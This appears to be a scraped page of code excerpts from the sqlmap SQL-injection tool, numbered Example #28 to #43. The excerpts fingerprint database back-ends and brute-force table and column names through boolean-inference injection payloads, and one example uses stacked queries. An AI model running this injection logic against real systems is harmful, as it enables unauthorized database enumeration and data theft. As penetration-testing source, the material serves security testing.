            setDbms(DBMS.ACCESS)

            return True

        infoMsg = "testing %s" % DBMS.ACCESS
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("VAL(CVAR(1))=1")

        if result:
            infoMsg = "confirming %s" % DBMS.ACCESS
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS
                logger.warn(warnMsg)
                return False

            setDbms(DBMS.ACCESS)

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.ACCESS
            logger.info(infoMsg)

            version = self._sysTablesCheck()

            if version is not None:
                Backend.setVersion(version)

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS
            logger.warn(warnMsg)

            return False
Example #28
0
    def tableExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            if (
                conf.db
                and METADB_SUFFIX not in conf.db
                and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD)
            ):
                fullTableName = "%s%s%s" % (
                    conf.db,
                    ".." if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else ".",
                    table,
                )
            else:
                fullTableName = table

            result = inject.checkBooleanExpression(
                "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))
            )

            kb.locks.io.acquire()

            if result and table.lower() not in threadData.shared.unique:
                threadData.shared.value.append(table)
                threadData.shared.unique.add(table.lower())

                if conf.verbose in (1, 2) and not hasattr(conf, "api"):
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (
                        time.strftime("%X"),
                        unsafeSQLIdentificatorNaming(table),
                    )
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = "%d/%d items (%d%%)" % (
                    threadData.shared.count,
                    threadData.shared.limit,
                    round(100.0 * threadData.shared.count / threadData.shared.limit),
                )
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            kb.locks.io.release()
Example #29
0
    def _sandBoxCheck(self):
        # Reference: http://milw0rm.com/papers/198
        retVal = None
        table = None

        if Backend.isVersionWithin(("97", "2000")):
            table = "MSysAccessObjects"
        elif Backend.isVersionWithin(("2002-2003", "2007")):
            table = "MSysAccessStorage"

        if table is not None:
            result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table)
            retVal = "not sandboxed" if result else "sandboxed"

        return retVal
Example #30
0
    def isDba(self, user=None):
        infoMsg = "testing if current user is DBA"
        logger.info(infoMsg)

        if Backend.isDbms(DBMS.MYSQL):
            self.getCurrentUser()
            query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None)
        elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
            query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
        else:
            query = queries[Backend.getIdentifiedDbms()].is_dba.query

        query = agent.forgeCaseStatement(query)
        kb.data.isDba = inject.checkBooleanExpression(query) or False

        return kb.data.isDba
Example #31
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs():
            return

        infoMsg = "fingerprinting the back-end DBMS operating system"
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(
            "'W'=UPPER(MID(@@version_compile_os,1,1))")

        if result:
            Backend.setOs(OS.WINDOWS)
        elif not result:
            Backend.setOs(OS.LINUX)

        if Backend.getOs():
            infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs(
            )
            logger.info(infoMsg)
        else:
            self.userChooseDbmsOs()

        self.cleanup(onlyFileTbl=True)
Example #32
0
    def _sysTablesCheck(self):
        retVal = None
        table = (
            ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)", )),
            ("1.5", ("NULLIF(%d,%d) IS NULL",
                     "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
            ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)",
                     "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
            ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d",
                     "FLOOR(1.%d)>=0")),
            (
                "2.5", ("'%s' SIMILAR TO '%s'", )
            ),  # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html
            (
                "3.0", ("FALSE IS FALSE", )
            ),  # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf
        )

        for i in xrange(len(table)):
            version, checks = table[i]
            failed = False
            check = checks[randomRange(
                0,
                len(checks) - 1)].replace("%d", getUnicode(randomRange(
                    1, 100))).replace("%s", getUnicode(randomStr()))
            result = inject.checkBooleanExpression(check)

            if result:
                retVal = version
            else:
                failed = True
                break

            if failed:
                break

        return retVal
Example #33
0
    def __getDatabaseDir(self):
        retVal = None

        infoMsg = "searching for database directory"
        logger.info(infoMsg)

        randInt = randomInt()
        randStr = randomStr()
        _ = inject.checkBooleanExpression(
            "EXISTS(SELECT * FROM %s.%s WHERE %d=%d)" %
            (randStr, randStr, randInt, randInt))

        if wasLastRequestDBMSError():
            threadData = getCurrentThreadData()
            match = re.search("Could not find file\s+'([^']+?)'",
                              threadData.lastErrorPage[1])

            if match:
                retVal = match.group(1).rstrip("%s.mdb" % randStr)

                if retVal.endswith('\\'):
                    retVal = retVal[:-1]

        return retVal
Example #34
0
    def isDba(self, user=None):
        infoMsg = "testing if current user is DBA"
        logger.info(infoMsg)

        query = None

        if Backend.isDbms(DBMS.MYSQL):
            self.getCurrentUser()
            if Backend.isFork(FORK.DRIZZLE):
                kb.data.isDba = "root" in (kb.data.currentUser or "")
            elif kb.data.currentUser:
                query = queries[Backend.getIdentifiedDbms(
                )].is_dba.query % kb.data.currentUser.split("@")[0]
        elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,
                                             DBMS.SYBASE) and user is not None:
            query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
        else:
            query = queries[Backend.getIdentifiedDbms()].is_dba.query

        if query:
            query = agent.forgeCaseStatement(query)
            kb.data.isDba = inject.checkBooleanExpression(query) or False

        return kb.data.isDba
Example #35
0
    def columnExistsThread():
        while count[0] < length and kb.threadContinue:
            collock.acquire()
            column = safeSQLIdentificatorNaming(columns[count[0]])
            count[0] += 1
            collock.release()

            result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s)", (column, table)))

            iolock.acquire()

            if result:
                retVal.append(column)

                if conf.verbose in (1, 2):
                    clearConsoleLine(True)
                    infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), column)
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%')
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            iolock.release()
Example #36
0
    def tableExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                fullTableName = "%s.%s" % (conf.db, table)
            else:
                fullTableName = table

            result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))

            kb.locks.io.acquire()

            if result and table.lower() not in threadData.shared.unique:
                threadData.shared.value.append(table)
                threadData.shared.unique.add(table.lower())

                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            kb.locks.io.release()
Example #37
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs() and Backend.getOsVersion(
        ) and Backend.getOsServicePack():
            return

        if not Backend.getOs():
            Backend.setOs(OS.WINDOWS)

        if not detailed:
            return

        infoMsg = "fingerprinting the back-end DBMS operating system "
        infoMsg += "version and service pack"
        logger.info(infoMsg)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()

        self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" %
                         (self.fileTblName, self.tblField, "@@VERSION"))

        # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
        # http://en.wikipedia.org/wiki/Windows_NT#Releases
        versions = {
            "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
            "2000": ("5.0", (4, 3, 2, 1)),
            "XP": ("5.1", (3, 2, 1)),
            "2003": ("5.2", (2, 1)),
            "Vista or 2008": ("6.0", (2, 1)),
            "7 or 2008 R2": ("6.1", (1, 0)),
            "8 or 2012": ("6.2", (0, )),
            "8.1 or 2012 R2": ("6.3", (0, ))
        }

        # Get back-end DBMS underlying operating system version
        for version, data in versions.items():
            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Windows NT " + data[0] + "%')"
            result = inject.checkBooleanExpression(query)

            if result:
                Backend.setOsVersion(version)
                infoMsg += " %s" % Backend.getOsVersion()
                break

        if not Backend.getOsVersion():
            Backend.setOsVersion("2003")
            Backend.setOsServicePack(2)

            warnMsg = "unable to fingerprint the underlying operating "
            warnMsg += "system version, assuming it is Windows "
            warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(),
                                               Backend.getOsServicePack())
            logger.warn(warnMsg)

            self.cleanup(onlyFileTbl=True)

            return

        # Get back-end DBMS underlying operating system service pack
        sps = versions[Backend.getOsVersion()][1]
        for sp in sps:
            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Service Pack " + getUnicode(sp) + "%')"
            result = inject.checkBooleanExpression(query)

            if result:
                Backend.setOsServicePack(sp)
                break

        if not Backend.getOsServicePack():
            debugMsg = "assuming the operating system has no service pack"
            logger.debug(debugMsg)

            Backend.setOsServicePack(0)

        if Backend.getOsVersion():
            infoMsg += " Service Pack %d" % Backend.getOsServicePack()

        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Example #38
0
def tableExists(tableFile, regex=None):
    if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
        warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
        warnMsg += "for common table existence check"
        logger.warn(warnMsg)

        message = "are you sure you want to continue? [y/N] "
        kb.tableExistsChoice = readInput(message, default='N', boolean=True)

        if not kb.tableExistsChoice:
            return None

    result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))

    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
        conf.db = conf.db.upper()

    if result:
        errMsg = "can't use table existence check because of detected invalid results "
        errMsg += "(most likely caused by inability of the used injection "
        errMsg += "to distinguish erroneous results)"
        raise SqlmapDataException(errMsg)

    message = "which common tables (wordlist) file do you want to use?\n"
    message += "[1] default '%s' (press Enter)\n" % tableFile
    message += "[2] custom"
    choice = readInput(message, default='1')

    if choice == '2':
        message = "what's the custom common tables file location?\n"
        tableFile = readInput(message) or tableFile

    infoMsg = "checking table existence using items from '%s'" % tableFile
    logger.info(infoMsg)

    tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
    tables.extend(_addPageTextWords())
    tables = filterListValue(tables, regex)

    threadData = getCurrentThreadData()
    threadData.shared.count = 0
    threadData.shared.limit = len(tables)
    threadData.shared.value = []
    threadData.shared.unique = set()

    def tableExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                fullTableName = "%s.%s" % (conf.db, table)
            else:
                fullTableName = table

            result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))

            kb.locks.io.acquire()

            if result and table.lower() not in threadData.shared.unique:
                threadData.shared.value.append(table)
                threadData.shared.unique.add(table.lower())

                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            kb.locks.io.release()

    try:
        runThreads(conf.threads, tableExistsThread, threadChoice=True)

    except KeyboardInterrupt:
        warnMsg = "user aborted during table existence "
        warnMsg += "check. sqlmap will display partial output"
        logger.warn(warnMsg)

    clearConsoleLine(True)
    dataToStdout("\n")

    if not threadData.shared.value:
        warnMsg = "no table(s) found"
        logger.warn(warnMsg)
    else:
        for item in threadData.shared.value:
            if conf.db not in kb.data.cachedTables:
                kb.data.cachedTables[conf.db] = [item]
            else:
                kb.data.cachedTables[conf.db].append(item)

    for _ in ((conf.db, item) for item in threadData.shared.value):
        if _ not in kb.brute.tables:
            kb.brute.tables.append(_)

    hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)

    return kb.data.cachedTables
Example #39
0
def columnExists(columnFile, regex=None):
    if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
        warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
        warnMsg += "for common column existence check"
        logger.warn(warnMsg)

        message = "are you sure you want to continue? [y/N] "
        kb.columnExistsChoice = readInput(message, default='N', boolean=True)

        if not kb.columnExistsChoice:
            return None

    if not conf.tbl:
        errMsg = "missing table parameter"
        raise SqlmapMissingMandatoryOptionException(errMsg)

    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
        conf.db = conf.db.upper()

    result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))

    if result:
        errMsg = "can't use column existence check because of detected invalid results "
        errMsg += "(most likely caused by inability of the used injection "
        errMsg += "to distinguish erroneous results)"
        raise SqlmapDataException(errMsg)

    message = "which common columns (wordlist) file do you want to use?\n"
    message += "[1] default '%s' (press Enter)\n" % columnFile
    message += "[2] custom"
    choice = readInput(message, default='1')

    if choice == '2':
        message = "what's the custom common columns file location?\n"
        columnFile = readInput(message) or columnFile

    infoMsg = "checking column existence using items from '%s'" % columnFile
    logger.info(infoMsg)

    columns = getFileItems(columnFile, unique=True)
    columns.extend(_addPageTextWords())
    columns = filterListValue(columns, regex)

    table = safeSQLIdentificatorNaming(conf.tbl, True)

    if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
        table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)

    kb.threadContinue = True
    kb.bruteMode = True

    threadData = getCurrentThreadData()
    threadData.shared.count = 0
    threadData.shared.limit = len(columns)
    threadData.shared.value = []

    def columnExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))

            kb.locks.io.acquire()

            if result:
                threadData.shared.value.append(column)

                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            kb.locks.io.release()

    try:
        runThreads(conf.threads, columnExistsThread, threadChoice=True)

    except KeyboardInterrupt:
        warnMsg = "user aborted during column existence "
        warnMsg += "check. sqlmap will display partial output"
        logger.warn(warnMsg)

    clearConsoleLine(True)
    dataToStdout("\n")

    if not threadData.shared.value:
        warnMsg = "no column(s) found"
        logger.warn(warnMsg)
    else:
        columns = {}

        for column in threadData.shared.value:
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
                result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
            else:
                result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))

            if result:
                columns[column] = "numeric"
            else:
                columns[column] = "non-numeric"

        kb.data.cachedColumns[conf.db] = {conf.tbl: columns}

        for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in list(columns.items())):
            if _ not in kb.brute.columns:
                kb.brute.columns.append(_)

        hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)

    return kb.data.cachedColumns
Example #40
0
    def checkDbms(self):
        """
        References for fingerprint:
        DATABASE_VERSION()
        version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d')
        version 2.2.5 added SYSTIMESTAMP function
        version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions
        version 2.2.0 added support for ROWNUM() function
        version 2.1.0 added MEDIAN aggregate function
        version < 2.0.1 added support for datetime ROUND and TRUNC functions
        version 2.0.0 added VALUES support
        version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the
                        full version string, including the 4th digit (e.g 1.8.0.4).
        version 1.7.2 CASE statements added and INFORMATION_SCHEMA

        """

        if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES):
            setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan("1.7.2"):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.HSQLDB
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1")

        if result:
            infoMsg = "confirming %s" % DBMS.HSQLDB
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
                logger.warn(warnMsg)

                return False
            else:
                result = inject.checkBooleanExpression("ZERO() IS 0")   # Note: check for H2 DBMS (sharing majority of same functions)
                if result:
                    warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
                    logger.warn(warnMsg)

                    return False

                kb.data.has_information_schema = True
                Backend.setVersion(">= 1.7.2")
                setDbms("%s 1.7.2" % DBMS.HSQLDB)

                banner = self.getBanner()
                if banner:
                    Backend.setVersion("= %s" % banner)
                else:
                    if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"):
                        Backend.setVersionList([">= 2.0.0", "< 2.3.0"])
                    else:
                        banner = unArrayizeValue(inject.getValue("\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True))
                        if banner:
                            Backend.setVersion("= %s" % banner)
                        else:
                            Backend.setVersionList([">= 1.7.2", "< 1.8.0"])

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
            logger.warn(warnMsg)

            dbgMsg = "...or version is < 1.7.2"
            logger.debug(dbgMsg)

            return False
Example #41
0
    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(PRESTO_ALIASES):
            setDbms(DBMS.PRESTO)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.PRESTO
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("TO_BASE64URL(NULL) IS NULL")

        if result:
            infoMsg = "confirming %s" % DBMS.PRESTO
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("TO_HEX(FROM_HEX(NULL)) IS NULL")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.PRESTO)

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.PRESTO
            logger.info(infoMsg)

            # Reference: https://prestodb.io/docs/current/release/release-0.200.html
            if inject.checkBooleanExpression("FROM_IEEE754_32(NULL) IS NULL"):
                Backend.setVersion(">= 0.200")
            # Reference: https://prestodb.io/docs/current/release/release-0.193.html
            elif inject.checkBooleanExpression("NORMAL_CDF(NULL,NULL,NULL) IS NULL"):
                Backend.setVersion(">= 0.193")
            # Reference: https://prestodb.io/docs/current/release/release-0.183.html
            elif inject.checkBooleanExpression("MAP_ENTRIES(NULL) IS NULL"):
                Backend.setVersion(">= 0.183")
            # Reference: https://prestodb.io/docs/current/release/release-0.171.html
            elif inject.checkBooleanExpression("CODEPOINT(NULL) IS NULL"):
                Backend.setVersion(">= 0.171")
            # Reference: https://prestodb.io/docs/current/release/release-0.162.html
            elif inject.checkBooleanExpression("XXHASH64(NULL) IS NULL"):
                Backend.setVersion(">= 0.162")
            # Reference: https://prestodb.io/docs/current/release/release-0.151.html
            elif inject.checkBooleanExpression("COSINE_SIMILARITY(NULL,NULL) IS NULL"):
                Backend.setVersion(">= 0.151")
            # Reference: https://prestodb.io/docs/current/release/release-0.143.html
            elif inject.checkBooleanExpression("TRUNCATE(NULL) IS NULL"):
                Backend.setVersion(">= 0.143")
            # Reference: https://prestodb.io/docs/current/release/release-0.137.html
            elif inject.checkBooleanExpression("BIT_COUNT(NULL,NULL) IS NULL"):
                Backend.setVersion(">= 0.137")
            # Reference: https://prestodb.io/docs/current/release/release-0.130.html
            elif inject.checkBooleanExpression("MAP_CONCAT(NULL,NULL) IS NULL"):
                Backend.setVersion(">= 0.130")
            # Reference: https://prestodb.io/docs/current/release/release-0.115.html
            elif inject.checkBooleanExpression("SHA1(NULL) IS NULL"):
                Backend.setVersion(">= 0.115")
            # Reference: https://prestodb.io/docs/current/release/release-0.100.html
            elif inject.checkBooleanExpression("SPLIT(NULL,NULL) IS NULL"):
                Backend.setVersion(">= 0.100")
            # Reference: https://prestodb.io/docs/current/release/release-0.70.html
            elif inject.checkBooleanExpression("GREATEST(NULL,NULL) IS NULL"):
                Backend.setVersion(">= 0.70")
            else:
                Backend.setVersion("< 0.100")

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO
            logger.warn(warnMsg)

            return False
Example #42
0
def columnExists(columnFile, regex=None):
    if kb.columnExistsChoice is None and not any(
            _ for _ in kb.injection.data
            if _ not in (PAYLOAD.TECHNIQUE.TIME,
                         PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
        warnMsg = u"不建议使用'%s'和'%s'" % (
            PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME],
            PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
        warnMsg += u"进行常用的字段的存在性检查"
        logger.warn(warnMsg)

        message = u"你确定你要继续吗? [y/N] "
        kb.columnExistsChoice = readInput(message, default='N', boolean=True)

        if not kb.columnExistsChoice:
            return None

    if not conf.tbl:
        errMsg = u"缺少表参数"
        raise SqlmapMissingMandatoryOptionException(errMsg)

    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
        conf.db = conf.db.upper()

    result = inject.checkBooleanExpression(
        safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
                         (randomStr(), randomStr())))

    if result:
        errMsg = u"因为检测到的结果无效,所以无法对列的存在性进行检查,"
        errMsg += u"(很可能是由于使用的注入无法区分错误结果)。"
        raise SqlmapDataException(errMsg)

    message = u"您要使用哪些常用字段(wordlist)文件?\n"
    message += u"[1] 默认 '%s' (按回车)\n" % columnFile
    message += u"[2] 自定义"
    choice = readInput(message, default='1')

    if choice == '2':
        message = u"自定义的常用字段文件位置在哪里?\n"
        columnFile = readInput(message) or columnFile

    infoMsg = u"使用%s文件检查字段是否存在" % columnFile
    logger.info(infoMsg)

    columns = getFileItems(columnFile, unique=True)
    columns.extend(_addPageTextWords())
    columns = filterListValue(columns, regex)

    table = safeSQLIdentificatorNaming(conf.tbl, True)

    if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
    ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
        table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)

    kb.threadContinue = True
    kb.bruteMode = True

    threadData = getCurrentThreadData()
    threadData.shared.count = 0
    threadData.shared.limit = len(columns)
    threadData.shared.value = []

    def columnExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                column = safeSQLIdentificatorNaming(
                    columns[threadData.shared.count])
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            result = inject.checkBooleanExpression(
                safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
                                 (column, table)))

            kb.locks.io.acquire()

            if result:
                threadData.shared.value.append(column)

                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime(
                        "%X"), unsafeSQLIdentificatorNaming(column))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = "%d/%d items (%d%%)" % (
                    threadData.shared.count, threadData.shared.limit,
                    round(100.0 * threadData.shared.count /
                          threadData.shared.limit))
                dataToStdout(
                    "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
                    True)

            kb.locks.io.release()

    try:
        runThreads(conf.threads, columnExistsThread, threadChoice=True)

    except KeyboardInterrupt:
        warnMsg = u"用户在检查字段存在性期间中止,sqlmap将只显示部分输出"
        logger.warn(warnMsg)

    clearConsoleLine(True)
    dataToStdout("\n")

    if not threadData.shared.value:
        warnMsg = u"找不到字段"
        logger.warn(warnMsg)
    else:
        columns = {}

        for column in threadData.shared.value:
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ):
                result = not inject.checkBooleanExpression(
                    "%s" % safeStringFormat(
                        "EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')",
                        (column, table, column)))
            else:
                result = inject.checkBooleanExpression("%s" % safeStringFormat(
                    "EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))",
                    (column, table, column, column)))

            if result:
                columns[column] = "numeric"
            else:
                columns[column] = "non-numeric"

        kb.data.cachedColumns[conf.db] = {conf.tbl: columns}

        for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]),
                     columns.items()):
            if _ not in kb.brute.columns:
                kb.brute.columns.append(_)

        hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)

    return kb.data.cachedColumns
Example #43
0
    def checkDbms(self):
        """
        References for fingerprint:

        * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
        * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
        * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
        * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
        * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
        """

        if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
           or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
            v = Backend.getVersion().replace(">", "")
            v = v.replace("=", "")
            v = v.replace(" ", "")

            Backend.setVersion(v)

            setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))

